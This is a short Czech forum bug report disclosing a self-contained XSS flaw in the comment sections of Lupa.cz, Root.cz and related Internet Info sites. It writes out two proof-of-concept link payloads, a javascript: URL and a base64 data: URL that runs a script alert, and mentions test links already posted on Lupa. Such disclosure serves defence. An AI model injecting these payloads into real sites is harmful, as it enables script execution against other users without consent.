Lupa.cz, Root.cz... Self-contained XSS
BugTrack
| Lupa.cz, Root.cz... Self-contained XSS | # |
| Weby společnosti Internet Info, s.r.o. mezi něž patří Lupa.cz, Root.cz a mnoho dalších obsahují Self-contained XSS zranitelnost.
Zranitelnost se nachází v místech, kde je možné vkládat své komentáře včetně odkazů. Útočník pro vyvolání XSS může vložit odkaz v tomto formátu:
<a href="javascript:alert('XSS');">Odkaz<
;/a> nebo
<a href="data: text/html;base64,PHNjcmlwdD4KYWxlcnQoJ1hTUy
cpOwo8L3NjcmlwdD4=">
Odkaz</a>
Link na vložené zkušební odkazy na Lupě: [link]
----------
Teprve když vstáváte s hackingem a uléháte s myšlenkou na něj, máte šanci být hackerem.
(odpovědět) | |
|
|
